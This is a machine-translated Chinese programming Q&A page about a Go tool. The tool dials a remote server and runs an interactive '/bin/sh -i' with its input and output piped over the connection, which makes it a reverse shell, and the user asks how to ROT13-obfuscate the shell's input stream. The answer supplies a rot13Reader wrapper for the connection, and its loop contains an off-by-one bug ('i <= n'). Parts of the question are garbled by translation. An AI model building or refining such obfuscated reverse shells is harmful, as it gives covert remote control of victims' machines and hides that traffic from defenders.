为了账号安全,请及时绑定邮箱和手机立即绑定

如何捕获色丁的字节数

如何捕获色丁的字节数

Go
一只萌萌小番薯 2022-09-26 15:18:24
目标:我想捕获cmd.Stdin的所有字节,并使用此rot13函数处理它们:https://play.golang.org/p/VX2pwaIqhmT故事:我正在编写一个小工具,该工具将为win / linux进行交叉编译,所以我试图使它尽可能简单。此工具连接到服务器,我可以从中在客户端上执行命令。由于我必须为cmd.Stdout做同样的事情,所以我使用了这个:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** //***shell***, and not just a simple command                                        cmd.Stdin = conncmdStdout, err := cmd.StdoutPipe() // works fine    if err != nil {    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start()    if err != nil {        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)    }.....err = OBFprocessStream(cmdStdout, conn) // works fine....其中OBF处理流函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切都很好。所以,我试图为cmd.Stdin复制同样的事情:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i")                                         cmdStdin, err := cmd.StdinPipe()     if err != nil {    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)}cmdStdout, err := cmd.StdoutPipe()    if err != nil {    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start()    if err != nil {        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)    }.....err = INOBFprocessStream(cmdStdin, conn).........err = OBFprocessStream(cmdStdout, conn)....但。。cmdStdin是一个Io.Writer关闭器,我真的不知道该怎么做才能捕获字节sEGIH秒狗hszrhoiò你能帮帮我吗?
查看完整描述

1 回答

?
胡子哥哥

TA贡献1825条经验 获得超6个赞

因此,您实际上想要的似乎是从中读取数据,并使用ROT13对其进行过滤,然后将其传递给cmd.Stdin(接受)。connio.Reader

而且你已经在实施io了。读者rot13Reader

type rot13Reader struct {

    r io.Reader

}


func (r13 *rot13Reader) Read(b []byte) (int, error) {

    n, err := r13.r.Read(b)

    for i := 0; i <= n; i++ {

        b[i] = rot13(b[i])

    }

    return n, err

}

因此,一个快速的解决方案可以是从中构建一个小的过滤器链,如下所示:


    cmd.Stdin = &rot13Reader{conn}


查看完整回答
反对 回复 2022-09-26
  • 1 回答
  • 0 关注
  • 48 浏览
慕课专栏
更多

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信